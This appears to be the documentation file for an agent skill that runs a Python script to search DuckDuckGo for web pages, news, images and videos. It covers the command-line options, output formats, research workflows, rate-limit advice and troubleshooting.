web-search-hub

# Web Search Hub Search the web using DuckDuckGo's API. Supports web pages, news articles, images, and videos with customizable filtering and output formats. ⚠️ **Prerequisite:** Install [OpenClawCLI](https://clawhub.ai/) (Windows, MacOS) and run `pip install duckduckgo-search` **Installation Best Practices:** - If you encounter permission errors, use a virtual environment instead of system-wide installation - For virtual environment: `python -m venv venv && source venv/bin/activate && pip install duckduckgo-search` - Never use `--break-system-packages` as it can damage your system's Python installation --- ## Quick Reference | Task | Command | |------|---------| | Basic web search | `python scripts/search.py "query"` | | Recent news | `python scripts/search.py "topic" --type news --time-range w` | | Find images | `python scripts/search.py "subject" --type images` | | Find videos | `python scripts/search.py "tutorial" --type videos` | | Save results | `python scripts/search.py "query" --output file.txt` | | JSON output | `python scripts/search.py "query" --format json` | --- ## Core Search Types ### Web Search (Default) Returns web pages with titles, URLs, and descriptions. ```bash python scripts/search.py "quantum computing" python scripts/search.py "python asyncio tutorial" --max-results 20 ``` ### News Search Returns articles with source, date, and summary. ```bash python scripts/search.py "climate summit" --type news python scripts/search.py "AI regulation" --type news --time-range d ``` ### Image Search Returns images with URLs, thumbnails, dimensions, and source. ```bash python scripts/search.py "mountain sunset" --type images python scripts/search.py "abstract art" --type images --image-color Blue ``` ### Video Search Returns videos with title, publisher, duration, date, and URL. ```bash python scripts/search.py "cooking tutorial" --type videos python scripts/search.py "documentary" --type videos --video-duration long ``` --- ## Essential Options ### Result Count ```bash --max-results N # Default: 10, range: 1-unlimited ``` **Examples:** ```bash python scripts/search.py "machine learning" --max-results 5 # Quick overview python scripts/search.py "research topic" --max-results 30 # Comprehensive ``` ### Time Filtering ```bash --time-range <d|w|m|y> # d = past day # w = past week # m = past month # y = past year ``` **Examples:** ```bash python scripts/search.py "tech news" --time-range d # Today's news python scripts/search.py "research papers" --time-range y # Recent publications ``` ### Region Selection ```bash --region <code> # Default: wt-wt (worldwide) ``` **Common codes:** `us-en`, `uk-en`, `ca-en`, `au-en`, `de-de`, `fr-fr` **Example:** ```bash python scripts/search.py "local events" --region us-en --type news ``` ### Safe Search ```bash --safe-search <on|moderate|off> # Default: moderate ``` **Example:** ```bash python scripts/search.py "medical information" --safe-search on ``` --- ## Output Formats ### Text (Default) Clean, numbered results with URLs and descriptions. ```bash python scripts/search.py "topic" ``` **Output:** ``` 1. Page Title URL: https://example.com Description text here... 2. Next Result URL: https://example.com/page Description text... ``` ### Markdown Formatted with headers, bold, and links. ```bash python scripts/search.py "topic" --format markdown ``` **Output:** ```markdown ## 1. Page Title **URL:** https://example.com Description text here... ``` ### JSON Structured data for programmatic processing. ```bash python scripts/search.py "topic" --format json ``` **Output:** ```json [ { "title": "Page Title", "href": "https://example.com", "body": "Description text..." } ] ``` ### Save to File ```bash --output <filepath> ``` **Examples:** ```bash python scripts/search.py "AI trends" --output results.txt python scripts/search.py "news" --type news --format markdown --output news.md python scripts/search.py "data" --format json --output data.json ``` --- ## Image Search Filters ### Size ```bash --image-size <Small|Medium|Large|Wallpaper> ``` **Example:** ```bash python scripts/search.py "landscape" --type images --image-size Large ``` ### Color ```bash --image-color <color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White> ``` **Example:** ```bash python scripts/search.py "abstract art" --type images --image-color Blue ``` ### Type ```bash --image-type <photo|clipart|gif|transparent|line> ``` **Example:** ```bash python scripts/search.py "icons" --type images --image-type transparent ``` ### Layout ```bash --image-layout <Square|Tall|Wide> ``` **Example:** ```bash python scripts/search.py "wallpaper" --type images --image-layout Wide ``` --- ## Video Search Filters ### Duration ```bash --video-duration <short|medium|long> ``` **Example:** ```bash python scripts/search.py "recipe" --type videos --video-duration short ``` ### Resolution ```bash --video-resolution <high|standard> ``` **Example:** ```bash python scripts/search.py "tutorial" --type videos --video-resolution high ``` --- ## Common Workflows ### Research a Topic Gather comprehensive information across multiple search types: ```bash # Web overview python scripts/search.py "machine learning" --max-results 15 --output ml_web.txt # Recent news python scripts/search.py "machine learning" --type news --time-range m --output ml_news.txt # Tutorial videos python scripts/search.py "machine learning tutorial" --type videos --output ml_videos.txt # Visual examples python scripts/search.py "machine learning diagrams" --type images --max-results 20 --output ml_images.txt ``` ### Track Current Events Monitor breaking news on specific topics: ```bash python scripts/search.py "election results" --type news --time-range d --format markdown --output daily_news.md ``` ### Find Visual Resources Search for images with specific requirements: ```bash python scripts/search.py "data visualization" --type images --image-type photo --image-size Large --max-results 30 --output viz_images.txt ``` ### Fact-Check Information Verify claims with recent sources: ```bash python scripts/search.py "claim to verify" --time-range w --max-results 20 --output verification.txt ``` ### Market Research Gather business intelligence: ```bash python scripts/search.py "electric vehicle market 2025" --max-results 25 --output market_overview.txt python scripts/search.py "EV industry" --type news --time-range m --output market_news.txt ``` ### Academic Research Find scholarly resources: ```bash python scripts/search.py "quantum entanglement" --time-range y --max-results 30 --format markdown --output research.md ``` --- ## Implementation Guidelines When users request web searches, follow this approach: ### 1. Identify Intent - What content type? (web, news, images, videos) - How recent? (use `--time-range` for current info) - How many results? (adjust `--max-results`) - Any special filters? (size, color, duration, etc.) ### 2. Configure Search ```bash python scripts/search.py "query" \ --type <web|news|images|videos> \ --max-results <N> \ --time-range <d|w|m|y> \ [additional filters] ``` ### 3. Choose Format - **Text:** Quick reading, immediate review - **Markdown:** Documentation, formatted reports - **JSON:** Further processing, automation ### 4. Execute and Process ```bash # Run search python scripts/search.py "query" [options] --output results.txt # Read results if needed cat results.txt # Extract URLs or combine multiple searches ``` --- ## Best Practices ### Search Strategy 1. **Start specific** - Use clear, targeted queries 2. **Use time filters** - Apply `--time-range` for current topics 3. **Adjust result count** - Start with 10-20, increase if needed 4. **Choose right type** - News for current events, web for general info ### Output Management 1. **Save important searches** - Use `--output` to preserve results 2. **Use appropriate format** - JSON for automation, markdown for docs 3. **Organize files** - Create folders for multi-search research ### API Usage 1. **Avoid rapid requests** - Space out searches to prevent rate limiting 2. **Be efficient** - Use filters to get better results with fewer searches 3. **Respect limits** - Don't hammer the API unnecessarily --- ## Troubleshooting ### Installation Issues **"Missing required dependency"** ```bash # Standard installation pip install duckduckgo-search # If you get permission errors, use a virtual environment python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install duckduckgo-search ``` **Important:** Never use `--break-system-packages` flag as it can corrupt your system's Python installation. Always use virtual environments for isolated package management. **"OpenClawCLI not found"** - Download from https://clawhub.ai/ - Install for your OS (Windows/MacOS) - Verify installation: `openclaw --version` ### Search Issues **"No results found"** - Broaden search terms - Remove time filters - Try different query phrasing **"Timeout errors"** - DuckDuckGo service may be temporarily unavailable - Wait a moment and retry - Check internet connection **"Unexpected results"** - DuckDuckGo results differ from Google - Refine query with more specific terms - Try adding context to the query ### Rate Limiting **"Too many requests"** - Space out searches (wait 1-2 seconds between requests) - Reduce frequency if making automated searches - Consider batching queries instead of individual requests --- ## Advanced Usage ### Combining Multiple Searches Build comprehensive research by combining search types: ```bash # Create research folder mkdir research # Gather all content types python scripts/search.py "topic" --max-results 20 --output research/web.txt python scripts/search.py "topic" --type news --time-range m --output research/news.txt python scripts/search.py "topic" --type images --max-results 30 --output research/images.txt python scripts/search.py "topic" --type videos --max-results 15 --output research/videos.txt ``` ### Programmatic Processing Use JSON for automated workflows: ```bash # Get JSON data python scripts/search.py "research query" --format json --output data.json # Process with custom script python analyze_results.py data.json ``` ### Building Knowledge Bases Create searchable documentation: ```bash mkdir knowledge-base # Search related topics python scripts/search.py "topic1" --format markdown --output knowledge-base/topic1.md python scripts/search.py "topic2" --format markdown --output knowledge-base/topic2.md python scripts/search.py "topic3" --format markdown --output knowledge-base/topic3.md ``` --- ## Limitations ### Search Capabilities - Results depend on DuckDuckGo's index (may differ from Google) - No advanced operators (no `site:`, `filetype:`, etc.) - Image/video results may be limited compared to web search - No control over ranking algorithms ### Content Access - Cannot access paywalled content - Some sites may block DuckDuckGo crawler - Dynamic JavaScript content may not be indexed - Real-time data may have slight delays ### API Constraints - Rate limiting applies to prevent abuse - No guaranteed uptime or availability - Results may vary by region and time - Some queries may be filtered for safety --- ## Complete Command Reference ```bash python scripts/search.py "<query>" [OPTIONS] REQUIRED: query Search query string (in quotes) SEARCH TYPE: -t, --type web|news|images|videos (default: web) RESULTS: -n, --max-results Maximum results (default: 10) --time-range d|w|m|y (day, week, month, year) -r, --region Region code (default: wt-wt) --safe-search on|moderate|off (default: moderate) OUTPUT: -f, --format text|markdown|json (default: text) -o, --output Save to file path IMAGE FILTERS: --image-size Small|Medium|Large|Wallpaper --image-color color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White --image-type photo|clipart|gif|transparent|line --image-layout Square|Tall|Wide VIDEO FILTERS: --video-duration short|medium|long --video-resolution high|standard HELP: --help Show all options and usage examples ``` --- ## Examples by Use Case ### Quick Searches ```bash # Simple query python scripts/search.py "python tutorials" # Get more results python scripts/search.py "python tutorials" --max-results 25 ``` ### Current Events ```bash # Today's news python scripts/search.py "AI developments" --type news --time-range d # This week's headlines python scripts/search.py "technology" --type news --time-range w --max-results 30 ``` ### Visual Content ```bash # Find photos python scripts/search.py "nature photography" --type images --image-type photo # Specific color scheme python scripts/search.py "office design" --type images --image-color Blue --image-size Large # Transparent icons python scripts/search.py "social media icons" --type images --image-type transparent ``` ### Video Content ```bash # Short tutorials python scripts/search.py "quick recipe" --type videos --video-duration short # High-quality documentaries python scripts/search.py "space documentary" --type videos --video-resolution high --video-duration long ``` ### Saved Research ```bash # Create research report python scripts/search.py "climate change solutions" --max-results 30 --format markdown --output climate_report.md # Gather news archive python scripts/search.py "tech industry" --type news --time-range m --format json --output tech_news.json ``` --- ## Support For issues or questions: 1. Check this documentation for solutions 2. Run `python scripts/search.py --help` for command-line help 3. Verify OpenClawCLI installation at https://clawhub.ai/ 4. Ensure `duckduckgo-search` library is installed **Key Resources:** - OpenClawCLI: https://clawhub.ai/ - DuckDuckGo Search Library: https://pypi.org/project/duckduckgo-search/